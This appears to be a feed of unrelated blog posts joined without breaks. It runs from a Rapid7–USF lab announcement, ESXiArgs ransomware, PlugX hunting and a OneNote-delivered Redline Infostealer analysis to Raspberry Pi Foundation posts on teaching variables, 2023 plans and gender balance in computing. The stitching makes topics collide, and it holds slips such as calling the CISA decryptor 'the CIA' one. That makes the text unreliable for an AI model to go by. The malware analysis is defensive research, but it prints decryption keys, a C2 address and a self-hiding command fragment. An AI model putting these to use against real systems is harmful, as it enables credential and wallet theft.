Today marks an important day for Rapid7, for the state of Florida, and if we may be so bold, for the future of our industry. The announcement of a joint research lab between Rapid7 and the University of South Florida (USF) reaffirms our commitment to driving a deeper understanding of the challenges we face in protecting our shared digital space, while ushering in new talent to ensure that the cyber workforce of tomorrow is as diverse as the individuals who create the shared digital space we set out to protect.
With the Rapid7 Cybersecurity Foundation, we are proud to announce the opening of the Rapid7 Cyber Threat Intelligence Lab in Tampa, at USF. We intend for the lab to be an integral component in real-time threat tracking by leveraging our extensive network of sensors, and incorporating this intelligence not only into our products and customers, but to make actionable indicators available to the wider community. This project also reaffirms our commitment to making cybersecurity more accessible to everyone through our support of research, disclosure, and open source, including projects such as Metasploit, Recog, and Velociraptor to name a few.
We believe that providing USF faculty and students this breadth of intelligence will not only support their journey in learning, but fundamentally provide a clearer path in determining areas to focus in their careers. We are hopeful that working side by side with Rapid7 analysts can help propel this journey, and enhance the meaningful research developed by the university.
As part of the commitment for this investment—and consistent with the guiding principles of the Rapid7 Cybersecurity Foundation—we intend to promote diversity within the cybersecurity workforce. In particular, we plan on opening doors to individuals from historically underrepresented groups within the cybersecurity workforce. With the objective to ensure that research projects are inclusive of those from all backgrounds, we are optimistic that not only will this introduce hands-on technical content to those who may not otherwise have such opportunities, but also, in the longer term, encourage greater diversity within the cybersecurity industry as a whole. We remain steadfast in our commitment to broadening the opportunities within cybersecurity to all those with a passion for creating a more secure and prosperous digital future.
We are deeply thankful to USF for their shared vision, and look forward to a partnership that benefits all students and faculty while producing actionable intelligence that can support the entire internet and the broader industry. Ultimately, the threatscape is such that we recognise no one organization can stop attackers on their own. This partnership remains part of our commitment to establish the relationships between private industry and partners that include academia.
Last week, multiple organizations issued warnings that a ransomware campaign dubbed “ESXiArgs” was targeting VMware ESXi servers by leveraging CVE-2021-21974—a nearly two-year-old heap overflow vulnerability. Two years. And yet, Rapid7 research has found that a significant number of ESXi servers likely remain vulnerable. We believe, with high confidence, that there are at least 18,581 vulnerable internet-facing ESXi servers at the time of this writing.
That 18,581 number is based on Project Sonar telemetry. We leverage the TLS certificate Recog signature to determine that a particular server is a legitimate ESXi server. Then, after removing likely honeypots from the results, we checked the build ids of the scanned servers against a list of vulnerable build ids.
Project Sonar is a Rapid7 research effort aimed at improving security through the active analysis of public networks. As part of the project, we conduct internet-wide surveys across more than 70 different services and protocols to gain insights into global exposure to common vulnerabilities.
We have also observed additional incidents targeting ESXi servers, unrelated to the ESXiArgs campaign, that may also leverage CVE-2021-21974. RansomExx2—a relatively new strain of ransomware written in Rust and targeting Linux has been observed exploiting vulnerable ESXi servers. According to a recent IBM Security X-Force report, ransomware written in Rust has lower antivirus detection rates compared to those written in more common languages.
CISA issues fix, sort of
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday released a ransomware decryptor to help victims recover from ESXiArgs attacks. However, it’s important to note the script is not a cure all and requires additional tools for a full recovery. Moreover, reporting suggests that the threat actor behind the campaign has modified their attack to mitigate the decryptor.
The script works by allowing users to unregister virtual machines that have been encrypted by the ransomware and re-register them with a new configuration file. However, you still need to have a backup of the encrypted parts of the VM to make a full restore.
The main benefit of the decryptor script is that it enables users to bring virtual machines back to a working state while data restore from backup occurs in the background. This is particularly useful for users of traditional backup tools without virtualization-based disaster recovery capabilities.
Rapid7 recommends
Deny access to servers. Unless a service absolutely needs to be on the internet, do not expose it to the internet. Some victims of these attacks had these servers exposed to the open internet, but could have gotten just as much business value out of them by restricting access to allowlisted IP addresses. If you are running an ESXi server, or any server, default to denying access to that server except from trusted IP space.
Patch vulnerable ESXi Servers. VMware issued a patch for CVE-2021-21974 nearly two years ago. If you have unpatched ESXi servers in your environment, click on that link and patch them now.
Develop and adhere to a patching strategy. Patching undoubtedly has challenges. However, this event illustrates perfectly why it’s essential to have a patching strategy in place and stick to it.
Back up virtual machines. Make sure you have a backup solution in place, even for virtual machines. As noted above, the decryptor script issued by the CIA is only a partial fix. The only way to completely recover from attacks associated with CVE-2021-21974 is via operational backups. There are a wide variety of backup solutions available to protect virtual machines today.
By Christiaan Beek, with special thanks to Matt Green
DLL search order hijacking is a technique used by attackers to elevate privileges on the compromised system, evade restrictions, and/or establish persistence on the system. The Windows operating system uses a common method to look for required dynamic link libraries (DLLs) to load into a program. Attackers can hijack this search order to get their malicious payload executed.
DLL sideloading is similar to the above mentioned technique; however, instead of manipulating the search order, attackers place their payload alongside the victim’s application or a trusted third-party application. Abusing trusted applications to load their payload may bypass restrictions and evade endpoint security detections since they are loaded into a trusted process.
Attribution remains a topic of significant subjectivity, especially when attempting to connect an attack to a nation state. A common approach in determining the source has been to evaluate the techniques used by the perpetrator(s). DLL search order hijacking (T1574.001) or DLL sideloading (T1574.002) are common approaches used by nation state sponsored attackers.
PlugX
The PlugX malware family, which has been around for more than a decade, is famous for using both techniques to bypass endpoint security and inject itself into trusted third party applications. PlugX is a remote access trojan with modular plugins. It is frequently updated with new functionalities and plugins.
Example of PlugX builderExample of modules in the code
In recent years, MITRE ATT&CK, CISA, and others have associated the PlugX family with various Chinese actors. Builders of the PlugX malware have been leaked to the public and can be used by other actors having access to the builders.
In January 2023, we observed activity from a China-based group called Mustang Panda using PlugX in one of their campaigns. In this particular case, they used a virtual hard disk (VHD) file, to hide the malicious files from antivirus detection. The VHD, which automatically mounted when opened contained a single archive file (RAR) that extracted the typical three files associated with PlugX:
Trusted binary (executable .exe)
Hijacked driver (DLL file)
Encrypted payload file (often a DAT file)
The trusted binary ranged from compromised AV vendor files, operating system files, and third-party vendor files. These files are signed and therefore most of the time trusted by endpoint technology.
This approach is known as a Mark-of-the-Web bypass or MOTW (T1553.005). In short, container files that are downloaded from the Internet are marked with MOTW, but the files within do not inherit the MOTW after the container files are extracted and/or mounted. When files are marked with the MOTW, if they are not trusted or downloaded from the Internet, they will not be executed.
While we observed Mustang Panda using aVHD file to hide malicious files, it is worth noting that ISO files may also be used, as they are also automatically mounted.
Hunting with Velociraptor
Since PlugX is injecting itself into a trusted process, abusing a trusted executable, this threat is often detected when the outgoing Command & Control Server (C2) traffic is being discovered (usually by accident or that someone flagged the IP address as being malicious). One classic mistake I’ve observed over the years is that when companies see in their AV logs that malware has been removed, they often don’t look further into what type of malware it is, its capabilities, and whether it is nation-state related or cybercrime related. However, the appropriate incident response handling differs in approach for each.
Many nation-state actors want to be long term persistent into a network and have established ways of staying inside, even if a few of their open doors are being closed (think about valid accounts added, webshells, other backdoors, etc.). A dead C2 server can indicate this, as the actor may have used it as a first entry to the network.
For example, we recently observed what appeared to be an incident where some suspicious password dumping tools were discovered. Although the security team removed the tools, they seemed to come back into the network.
After meeting with the team and reviewing some of the logs of the incidents, it was time to grab one of my favorite (and free) tools: Velociraptor. Velociraptor is Rapid7’s advanced open-source endpoint monitoring, digital forensic and cyber response platform. It enables users to effectively respond to a wide range of digital forensic and cyber incident response investigations and data breaches.
With a ton of forensic options and hunting possibilities, the first thing was to acquire live collections of data to investigate.
After investigating the initial memory dumps, remnants were discovered where a process was talking to an outside IP address. The process itself was using a DLL that was not located in a standard location on disk. After retrieving the folder from the victim’s machine and reversing the process, it became clear: PlugX was discovered.
There are several ways Velociraptor can be used to hunt for DLL search order hijacking or sideloading. In this particular case, we’ll discuss the approach for PlugX malware.
We could hunt for:
Process / Mutex
Lnk Files
Disk
Memory
Network traffic / C2 URL/IP-address
Using the YARA toolset, we created rules for malicious or suspicious binaries and/or memory patterns. Velociraptor can use these rules to scan a bulk of data or process memory or raw memory using the ‘yara()’ or ‘proc_yara’ options.
Based on recent PlugX samples (end of 2022, beginning 2023), the we created the following rule (which can be downloaded from my Github page):
Using this rule, which is based on code patterns from the DLL component used in PlugX, Velociraptor will hunt for these DLL files and detect them. Once detected, you can look at the systems impacted, make a memory-dump, process dumps, etc., and investigate the system for suspicious activity. The directory where the DLL is stored will most likely also have the payload and trusted binary included, all written to disk at the same time.
Recently my colleague Matt Green released a repository on Github called DetectRaptor to share publicly available Velociraptor detection content. It provides you with easy-to-consume detection content to hunt for suspicious activity. One of the libraries Matt is importing is from https://hijacklibs.net/, a list of files and locations that are indicators of DLL hijacking (including PlugX). If you look at the non-Microsoft entries in the ‘hijacklibs.csv’, several instances are related to PlugX incidents reported by multiple vendors.
After importing the content, Velociraptor can start hunting and detecting possible signs of DLL hijacking and, for example, PlugX.
Author: Thomas Elkins Contributors: Andrew Iwamaye, Matt Green, James Dunne, and Hernan Diaz
Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity. One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.
Recently, we (Rapid7) observed malicious actors using OneNote files to deliver malicious code. We identified a specific technique that used OneNote files containing batch scripts, which upon execution started an instance of a renamed PowerShell process to decrypt and execute a base64 encoded binary. The base64 encoded binary subsequently decrypted a final payload, which we have identified to be either Redline Infostealer or AsyncRat.
This blog post walks through analysis of a OneNote file that delivered a Redline Infostealer payload.
Analysis of OneNote File
The attack vector began when a user was sent a OneNote file via a phishing email. Once the OneNote file was opened, the user was presented with the option to “Double Click to View File” as seen in Figure 1.
Figure 1 – OneNote file "Remittance" displaying the button “Double Click to View File”
We determined that the button “Double Click to View File” was moveable. Hidden underneath the button, we observed five shortcuts to a batch script, nudm1.bat. The hidden placement of the shortcuts ensured that the user double-clicked on one of the shortcuts when interacting with the “Double Click to View File” button.
Figure 2 – Copy of Batch script nudm1.bat revealed after moving “Double Click to View File” button
Once the user double clicked the button “Double Click to View File”, the batch script nudm1.bat executed in the background without the user’s knowledge.
Analysis of Batch Script
In a controlled environment, we analyzed the batch script nudm1.bat and observed variables storing values.
Figure 3 – Beginning contents of nudm1.bat
Near the middle of the script, we observed a large section of base64 encoded data, suggesting at some point, the data would be decoded by the batch script.
Figure 4 – Base64 encoded data contained within nudm1.bat
At the bottom of the batch script, we observed the declared variables being concatenated. To easily determine what the script was doing, we placed echo commands in front of the concatenations. The addition of the echo commands allowed for the batch script to deobfuscate itself for us upon execution.
Figure 5 – echo command placed in front of concatenated variables
We executed the batch file and piped the deobfuscated result to a text file. The text file contained a PowerShell script that was executed with a renamed PowerShell binary, nudm1.bat.exe.
Figure 6 – Output after using echo reveals PowerShell script
We determined the script performed the following:
Base64 decoded the data stored after :: within nudm1.bat, shown in Figure 4
AES Decrypted the base64 decoded data using the base64 Key 4O2hMB9pMchU0WZqwOxI/4wg3/QsmYElktiAnwD4Lqw= and base64 IV of TFfxPAVmUJXw1j++dcSfsQ==
Decompressed the decrypted contents using gunzip
Reflectively loaded the decrypted and decompressed contents into memory
Using CyberChef, we replicated the identified decryption method to obtain a decrypted executable file.
Figure 7 – AES decryption via Cyberchef reveals MZ header
We determined the decrypted file was a 32-bit .NET executable and analyzed the executable using dnSpy.
Analysis of .NET 32-bit Executable
In dnSpy we observed the original file name was tmpFBF7. We also observed that the file contained a resource named payload.exe.
Figure 8 – dnSpy reveals name of original program tmpFBF7 and a payload.exe resource
We navigated to the entry point of the file and observed base64 encoded strings. The base64 encoded strings were passed through a function SRwvjAcHapOsRJfNBFxi. The function SRwvjAcHapOsRJfNBFxi utilized AES decryption to decrypt data passed as argument.
Figure 9 – AES Decrypt Function SRwvjAcHapOsRJfNBFxi
As seen in Figure 9, the function SRwvjAcHapOsRJfNBFxi took in 3 arguments: input, key and iv.
We replicated the decryption process from the function SRwvjAcHapOsRJfNBFxi using CyberChef to decrypt the values of the base64 encoded strings. Figure 9 shows an example of the decryption process of the base64 encoded string vYhBhJfROLULmQk1P9jbiqyIcg6RWlONx2FLYpdRzZA= from line 30 of Figure 7 to reveal a decoded and decrypted string of CheckRemoteDebuggerPresent.
Figure 10 – Using Cyberchef to replicate decryption of function SRwvjAcHapOsRJfNBFxi
Repeating the decryption of the other base64 encoded strings revealed some anti-analysis and anti-AV checks performed by the executable:
EtwEventWrite /c choice /c y /n /d y /t 1 & attrib -h -s
After passing the anti-analysis and anti-AV checks, the executable called upon the payload.exe resource in line 94 of the code. We determined that the payload.exe resource was saved into the variable @string.
Figure 11 – @string storing payload.exe
On line 113, the variable @string was passed into a new function, aBTlNnlczOuWxksGYYqb, as well as the AES decryption function SRwvjAcHapOsRJfNBFxi.
Figure 12 – @string being passed through function hDMeRrMMQVtybxerYkHW
The function aBTlNnlczOuWxksGYYqb decompressed content passed to it using Gunzip.
Figure 13 – Function aBTlNnlczOuWxksGYYqb decompresses content using Gzip
Using CyberChef, we decrypted and decompressed the payload.exe resource to obtain another 32-bit .NET executable, which we named payload2.bin. Using Yara, we scanned payload2.bin and determined it was related to the Redline Infostealer malware family.
Figure 14 – Yara Signature identifying payload2.bin as Redline Infostealer
We also analyzed payload2.bin in dnSpy.
Analysis of Redline Infostealer
We observed that the original final name of payload2.bin was Footstools and that a class labeled Arguments contained the variables IP and Key. The variable IP stored a base64 encoded value GTwMCik+IV89NmBYISBRLSU7PlMZEiYJKwVVUg==.
Figure 15 – Global variable IP set as Base64 encoded string
The variable Key stored a UTF8 value of Those.
Figure 16 – Global variable Key set with value Those
We identified that the variable IP was called into a function, WriteLine(), which passed the variables IP and Key into a String.Decrypt function as arguments.
Figure 17 – String.Decrypt being passed arguments IP and Key
The function String.Decrypt was a simple function that XOR’ed input data with the value of Key.
Using Cyberchef, we replicated the String.Decrypt function for the ‘IP’ variable by XORing the base64 value shown in Figure 13 with the value of Key shown in Figure 16 to obtain the decrypted value for the IP variable, 172.245.45[.]213:3235.
Figure 19 – Using XOR in Cyberchef to reveal value of argument IP
Redline Info Stealer has the capability to steal credentials related to Cryptocurrency wallets, Discord data, as well as web browser data including cached cookies. Figure 19 shows functionality in Redline Infostealer that searches for known Cryptocurrency wallets.
Figure 20 – Redline Infostealer parsing for known Cryptocurrency wallet locations
Rapid7 Protection
Rapid7 has existing rules that detect the behavior observed within customers environments using our Insight Agent including:
Suspicious Process – Renamed PowerShell
OneNote Embedded File Parser
Rapid7 has also developed a OneNote file parser and detection artifact for Velociraptor. This artifact can be used to detect or extract malicious payloads like the one discussed in this post. https://docs.velociraptor.app/exchange/artifacts/pages/onenote/
Block .one attachments at the network perimeter or with an antiphishing solution if .one files are not business-critical
User awareness training
If possible, implement signatures to search for PowerShell scripts containing reverse strings such as gnirtS46esaBmorF
Watch out for OneNote as the parent process of cmd.exe executing a .bat file
In our first seminar of 2023, we were delighted to welcome Dr Katie Rich and Carla Strickland. They spoke to us about teaching the programming construct of variables in Grade 3 and 4 (age 8 to 10).
Dr Katie RichCarla Strickland
We are hearing from a diverse range of speakers in our current series of monthly online research seminars focused on primary (K-5) computing education. Many of them work closely with educators to translate research findings into classroom practice to make sure that all our younger learners have positive first experiences of learning computing. An important goal of their research is to impact the development of pedagogy, resources, and professional development to support educators to deliver computing concepts with confidence.
Variables in computing and mathematics
Dr Katie Rich (American Institutes of Research) and Carla Strickland (UChicago STEM Education) are both part of a team that worked on a research project called Everyday Computing, which aims to integrate computational thinking into primary mathematics lessons. A key part of the Everyday Computing project was to develop coherent learning resources across a number of school years. During the seminar, Katie and Carla presented on a study in the project that revolved around teaching variables in Grade 3 and 4 (age 8 to 10) by linking this computing concept to mathematical concepts such as area, perimeter, and fractions.
Variables are used in both mathematics and computing, but in significantly different ways. In mathematics, a variable, often represented by a single letter such as x or y, corresponds to a quantity that stays the same for a given problem. However, in computing, a variable is an identifier used to label data that may change as a computer program is executed. A variable is one of the programming constructs that can be used to generalise programs to make them work for a range of inputs. Katie highlighted that the research team was keen to explore the synergies and tensions that arise when curriculum subjects share terms, as is the case for ‘variable’.
Defining a learning trajectory
At the start of the project, in order to be able to develop coherent learning resources across school years, the team reviewed research papers related to teaching the programming construct of variables. In the papers, they found a variety of learning goals that related to facts (what learners need to know) and skills (what learners need to be able to do). They grouped these learning goals and arranged the groups into ‘levels of thinking’, which were then mapped onto a learning trajectory to show progression pathways for learning.
Four of the five levels of thinking identified in the study: Data Storer, Data User, Variable User, Variable Creator. Click to enlarge.
Learning materials about variables
Carla then shared three practical examples of learning resources their research team created that integrated the programming construct of variables into a maths curriculum. The three activities, described below, form part of a series of lessons called Action Fractions. You can read more about the series of lessons in this research paper.
Robot Boxesis an unpluggedactivity that is positioned at the Data User level of thinking. It relates to creating instructions for a fictional robot. Learners have to pay attention to different data the robot needs in order to draw a box, such as the length and width, and also to the value that the robot calculates as area of the box. The lesson uses boxes on paper as concrete representations of variables to which learners can physically add values.
Ambling Animals is set at the ‘Data Storer’ and ‘Variable Interpreter’ levels of thinking. It includes a Scratch project to help students to locate and compare fractions on number lines. During this lesson, find a variable that holds the value of the animal that represents the larger of two fractions.
Adding Fractions draws on facts and skills from the ‘Variable Interpreter’ and ‘Variable Implementer’ levels of thinking and also includes a Scratch project. The Scratch project visualises adding fractions with the same denominator on a number line. The lesson starts to explain why variables are so important in computer programs by demonstrating how using a variable can make code more efficient.
Takeaways: Cross-curricular teaching, collaborative research
Teaching about the programming construct of variables can be challenging, as it requires young learners to understand abstract ideas. The research Katie and Carla presented shows how integrating these concepts into a mathematics curriculum is one way to highlight tangible uses of variables in everyday problems. The levels of thinking in the learning trajectory provide a structure helping teachers to support learners to develop their understanding and skills; the same levels of thinking could be used to introduce variables in other contexts and curricula.
Many primary teachers use cross-curricular learning to increase children’s engagement and highlight real-world examples. The seminar showed how important it is for teachers to pay attention to terms used across subjects, such as the word ‘variable’, and to explicitly explain a term’s different meanings. Katie and Carla shared a practical example of this when they suggested that computing teachers need to do more to stress the difference between equations such as xy = 45 in maths and assignment statements such as length = 45 in computing.
The Everyday Computing project resources were created by a team of researchers and educators who worked together to translate research findings into curriculum materials. This type of collaboration can be really valuable in driving a research agenda to directly improve learning outcomes for young people in classrooms.
How can this research influence your classroom practice or other activities as an educator? Let us know your thoughts in the comments. We’ll be continuing to reflect on this question throughout the seminar series.
You can watch Katie’s and Carla’s full presentation here:
Join our seminar series on primary computing education
We continue on Tuesday 7 February at 17.00 UK time, when we will hear from Dr Jean Salac, University of Washington. Jean will present her work in identifying inequities in elementary computing instruction and in developing a learning strategy, TIPP&SEE, to address these inequities. Sign up now, and we will send you a joining link for the session.
Recog Release v3.0.3, which is available now, includes updated fingerprints for Zoho ManageEngine PAM360, Password Manager Pro, and Access Manager Plus; Atlassian Bitbucket Server; and Supervisord Supervisor. It also includes new fingerprints and a number of bug fixes, all of which are detailed below.
Recog is an open source recognition framework used to identify products, operating systems, and hardware through matching network probe data against its extensive fingerprint collection. Support for Recog is part of Rapid7’s ongoing commitment to open source initiatives.
Zoho ManageEngine PAM360, Password Manager Pro, and Access Manager Plus
Fingerprints for these three Zoho ManageEngine products were added shortly after Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2022-35405 to their Known Exploited Vulnerabilities (KEV) catalog on September 22nd, 2022. Favicon, HTML title, and HTTP server fingerprints were created for both PAM360 and Password Manager Pro, and favicon and HTML title fingerprints were created for Access Manager Plus. PAM360 version 5500 (and older) and Password Manager Pro version 12100 (and older) are both vulnerable to an unauthenticated remote code execution (RCE) vulnerability, and Access Manager Plus version 4302 (and older) is vulnerable to an authenticated remote code execution (RCE) vulnerability. In addition, Grant Willcox contributed the Metasploit Zoho Password Manager Pro XML-RPC Java Deserialization exploit module which is capable of exploiting the unauthenticated vulnerability via the XML-RPC interface in Password Manager Pro and PAM360 and attaining RCE as the NT AUTHORITY\SYSTEM user.
More recently, on January 4th, 2023, Zoho released details of a SQL injection vulnerability (CVE-2022-47523) in PAM360 version 5800 (and older), Password Manager Pro version 12200 (and older) and Access Manager Plus version 4308 (and older). From a quick analysis of internet scan data there appears to be only about 76 Password Manager Pro and 21 PAM360 instances on the internet.
Atlassian Bitbucket Server
Favicon, HTML title and HTTP cookie fingerprints for the Atlassian Bitbucket server were added shortly after our Emergent Threat Response for CVE-2022-36804 was published on September 20th, 2022 in response to the command injection vulnerability in multiple API endpoints of both Bitbucket Server and Data Center. An adversary with access to either a public repository or read permissions on a private repository can perform remote code execution simply through a malicious HTTP request. Shelby Pace contributed the Metasploit Bitbucket Git Command Injection exploit module which is capable of exploiting the unauthenticated command injection. Bitbucket Server and Data Center versions 7.6 prior to 7.6.17, 7.17 prior to 7.17.10, 7.21 prior to 7.21.4, 8.0 prior to 8.0.3, 8.1 prior to 8.1.3, 8.2 prior to 8.2.2 and 8.3 prior to 8.3.1 are vulnerable. From a quick analysis of internet scan data there appears to be just under a thousand of these exposed on the internet.
Supervisord Supervisor
Favicon and HTML title fingerprints were added for anyone interested in locating unsupervised Supervisor instances on their networks. The web interface for the process control system allows users to restart or stop processes under the software’s control, and even tail the standard output and error streams. There might be some interesting information in those streams! From a quick analysis of internet scan data there appears to be only about 165 instances on the internet.
Welcome to 2023. I hope that you had a fantastic 2022 and that you’re looking forward to an even better year ahead. To help get the year off to a great start, I thought it might be fun to share a few of the things that we’ve got planned for 2023.
Whether you’re a teacher, a mentor, or a young person, if it’s computer science, coding, or digital skills that you’re looking for, we’ve got you covered.
Your code in space
Through our collaboration with the European Space Agency, theAstro Pi, young people can write computer programs that are guaranteed to run on the Raspberry Pi computers on the International Space Station (terms and conditions apply).
The Raspberry Pi computers on board the ISS (Image: ESA/NASA)
Astro Pi Mission Zero is open to participants until 17 March 2023 and is a perfect introduction to programming in Python for beginners. It takes about an hour to complete and we provide step-by-step guides for teachers, mentors, and young people.
Make a cool project and share it with the world
Kids all over the world are already working on their entries to Coolest Projects Global 2023, our international online showcase that will see thousands of young people share their brilliant tech creations with the world. Registration opens on 6 February and it’s super simple to get involved. If you’re looking for inspiration, why not explore the judges’ favourite projects from 2022?
While we all love the Coolest Projects online showcase, I’m also looking forward to attending more in-person Coolest Projects events in 2023. The word on the street is that members of the Raspberry Pi team have been spotted scouting venues in Ireland… Watch this space.
Experience AI
I am sure I wasn’t alone in disappearing down a ChatGPT rabbit hole at the end of last year after OpenAI made their latest AI chatbot available for free. The internet exploded with both incredible examples of what the chatbot can do and furious debates about the limitations and ethics of AI systems.
With the rapid advances being made in AI technology, it’s increasingly important that young people are able to understand how AI is affecting their lives now and the role that it can play in their future. This year we’ll be building on our research into the future of AI and data science education and launching Experience AI in partnership with leading AI company DeepMind. The first wave of resources and learning experiences will be available in March.
The big Code Club and CoderDojo meetup
With pandemic restrictions now almost completely unwound, we’ve seen a huge resurgence in Code Clubs and CoderDojos meeting all over the world. To build on this momentum, we are delighted to be welcoming Code Club and CoderDojo mentors and educators to a big Clubs Conference in Churchill College in Cambridge on 24 and 25 March.
This will be the first time we’re holding a community get-together since 2019 and a great opportunity to share learning and make new connections.
Building partnerships in India, Kenya, and South Africa
As part of our global mission to ensure that every young person is able to learn how to create with digital technologies, we have been focused on building partnerships in India, Kenya, and South Africa, and that work will be expanding in 2023.
In India we will significantly scale up our work with established partners Mo School and Pratham Education Foundation, training 2000 more teachers in government schools in Odisha, and running 2200 Code Clubs across four states. We will also be launching new partnerships with community-based organisations in Kenya and South Africa, helping them set up networks of Code Clubs and co-designing learning experiences that help them bring computing education to their communities of young people.
Exploring computing education for 5- to 11-year-olds
Over the past few years, our research seminar series has covered computing education topics from diversity and inclusion, to AI and data science. This year, we’re focusing on current questions and research in primary computing education for 5- to 11-year-olds.
As ever, we’re providing a platform for some of the world’s leading researchers to share their insights, and convening a community of educators, researchers, and policy makers to engage in the discussion. The first seminar takes place today (Tuesday 10 January) and it’s not too late to sign up.
And much, much more…
That’s just a few of the super cool things that we’ve got planned for 2023. I haven’t even mentioned the new online projects we’re developing with our friends at Unity, the fun we’ve got planned with our very own online text editor, or what’s next for our curriculum and professional development offer for computing teachers.
Welcome to 2023, a year that sounds so futuristic it is hard to believe it is real. But real it is, and make no mistake, threat actors are still out there, working hard to get into networks the world over. So, at the start of the new year, I am reminded of two particular phrases: Those who do not learn from their past are doomed to repeat it, and history doesn’t repeat itself, but it rhymes.
With those cautionary words in mind, let’s take a brief look back at a smattering of the research we conducted in 2022. Hopefully, you will find some overlooked lessons from the past to keep your organizations safe here <cue excessive reverb> in the future.
Trends Gonna Trend
Some of Rapid7’s most important research is focused on the current state of cybersecurity and threat landscape. This research is designed to glean critical insights into threat actor tactics and how the security industry works to combat them. Below are four reports based on this type of research.
One of our most pored over reports, the Vulnerability Intelligence Report looks at threats that emerged in the previous year. This year, we identified many worrying (and some downright critical) trends in the vulnerability management space. For example, we found that widespread threats were up 130% from 202o and roughly half of them were zero-day exploits. Additionally, the time to known exploitation of vulnerabilities shrunk to under a week. It’s a sobering report, without a doubt.
Securing cloud instances has become a major part of keeping organizations safe from risk. That’s not exactly an earth-shattering statement. We all know how important cloud security is. However, our Cloud Misconfiguration Report found that even some of the world’s largest (and resource rich) organizations neglect to put some basic, common sense protections in place. So, clearly, there is still work to be done.
Ransomware has been on the rise for several years and continues to evolve as quickly as cybersecurity professionals find ways to combat it. One way it has evolved over the last few years is with the rise in double extortion. In this type of attack, threat actors exfiltrate an organization’s data before encrypting it. Then, they threaten to leak or sell that data unless a ransom is paid.
In this first of its kind report, we looked at data disclosures associated with double extortion campaigns and extracted some interesting trends including the industries most affected by these attacks, who is conducting them, and when they occur.
Passwords, we’ve all got them, but that doesn’t mean we are great at using them to their full potential. We cross referenced well-known password repositories with our own honeypots for SSH and RDP credentials to determine how well organizations use secure credentialing. The results were grim. This report details the results of our research and offers some tips on how to improve passwords (password managers to the front!).
All Cybersecurity is Local
Global trends are important, but keeping it local can help us understand the intricacies of security in our own neck of the woods. In this report, we took a deep dive into one geographical region to provide critical insights that improve security.
We took a look at the ASX200, the stock market index of companies listed on the Australian Stock Exchange. We found that though there is always room for improvement, by and large, the ASX200 companies are on equal security footing as some of their larger counterparts around the globe. And to further dispel any lingering FUD, they’ve measurably improved since the last time we looked at this sector in 2021, so go on ya, Aussie infosec pros!
The Future of Cybersecurity
At Rapid7, we don’t just look at the current state of the cybersecurity industry, we actively strive to improve it. Often, that means deep research into the future of cybersecurity tools and practices. This year was no exception. We’re quite proud of these reports and the potential they have to make us all a little bit safer.
This may sound like the title to a formal academic paper (and vaguely British) and that’s because it is. Rapid7 was honored to have a research paper on machine learning techniques to improve false positives in DAST solutions accepted by a journal published by the Association for Computing Machinery.
Our researchers created a machine learning technique that can reduce false positives in DAST solutions by 96% allowing security professionals more time to focus on triaging actual threats and remediating them, rather than heading on wild goose chases caused by false positives.
Companies large and small struggle with securing their IoT infrastructure from attackers. So, when the opportunity came to observe (and dissect) one company that seems to be doing it right, we jumped at the chance. In this report we partnered with Domino’s Pizza to look at their IoT operation and they were gracious enough to allow our expert pentesters and code auditors to tear it apart and see how they do it. It’s an excellent read for anyone looking to see some of the best practices in IoT security in use today.
2023 Here We Come
These are just a few of the great research papers we released last year. It has long been our mission to not only provide the best security platform and services available, but to help the entire cybersecurity community close the security achievement gap.
Our research departments take that mission very seriously and you can bet that we will be entering 2023 with a big ol’ list of research papers looking at the latest in cybersecurity innovation and best practices. We are grateful that you joined us on our journey last year and hope that you’ll be along for the ride again this year.
Improving gender balance in computing is part of our work to ensure equitable learning opportunities for all young people. Our Gender Balance in Computing (GBIC) research programme has been the largest effort to date to explore ways to encourage more girls and young women to engage with Computing.
Storytelling: Connecting computing to storytelling with 6- to 7-year-olds
Belonging: Supporting learners to feel that they “belong” in computer science
Non-formal Learning: Establishing the connections between in-school and out-of-school computing
Relevance: Making computing relatable to everyday life
Subject Choice: How computer science is presented to young people as a subject choice
In December we published the last of seven reports describing the results of the programme. In this blog post I summarise our overall findings and reflect on what we’ve learned through doing this research.
Gender balance in computing is not a new problem
I was fascinated to read a paper by Deborah Butler from 2000 which starts by summarising themes from research into gender balance in computing from the 1980s and 1990s, for example that boys may have access to more role models in computing and may receive more encouragement to pursue the subject, and that software may be developed with a bias towards interests traditionally considered to be male. Butler’s paper summarises research from at least two decades ago — have we really made progress?
In England, it’s true that making Computing a mandatory subject from age 5 means we have taken great strides forward; the need for young people to make a choice about studying the subject only arises at age 14. However, statistics for England’s externally assessed high-stakes Computer Science courses taken at ages 14–16 (GCSE) and 16–18 (A level) clearly show that, although there is a small upwards trend in the proportion of female students, particularly for A level, gender balance among the students achieving GCSE/A level qualifications remains an issue:
Computer Science qualification (England):
In 2018:
In 2021:
In 2022:
GCSE (age 16)
20.41%
20.77%
21.37%
A level (age 18)
11.74%
14.71%
15.17%
Percentage of girls among the students achieving Computer Science qualifications in England’s secondary schools
What did we do in the Gender Balance in Computing programme?
In GBIC, we carried out a range of research studies involving more than 14,500 pupils and 725 teachers in England. Implementation teams came from the Foundation, Apps For Good, the WISE Campaign, and the Behavioural Insights Team (BIT). A separate team at BIT acted as the independent evaluators of all the studies.
In total we conducted the following studies:
Two feasibility studies: Storytelling; Relevance, which led to a full randomised controlled trial (RCT)
Five RCTs: Belonging; Peer Instruction; Pair Programming; Relevance, which was preceded by a feasibility study; Non-formal Learning (primary)
One quasi-experimental study: Non-formal Learning (secondary)
One exploratory research study: Subject Choice (Subject choice evenings and option booklets)
Each study (apart from the exploratory research study) involved a 12-week intervention in schools. Bespoke materials were developed for all the studies, and teachers received training on how to deliver the intervention they were a part of. For the RCTs, randomisation was done at school level: schools were randomly divided into treatment and control groups. The independent evaluators collected both quantitative and qualitative data to ensure that we gained comprehensive insights from the schools’ experiences of the interventions. The evaluators’ reports and our associated blog posts give full details of each study.
The impact of the pandemic
The research programme ran from 2019 to 2022, and as it was based in schools, we faced a lot of challenges due to the coronavirus pandemic. Many research programmes meant to take place in school were cancelled as soon as schools shut during the pandemic.
Although we were fortunate that GBIC was allowed to continue, we were not allowed to extend the end date of the programme. Thus our studies were compressed into the period after schools reopened and primarily delivered in the academic year 2021/2022. When schools were open again, the implementation of the studies was affected by teacher and pupil absences, and by schools necessarily focusing on making up some of the lost time for learning.
The overall results of Gender Balance in Computing
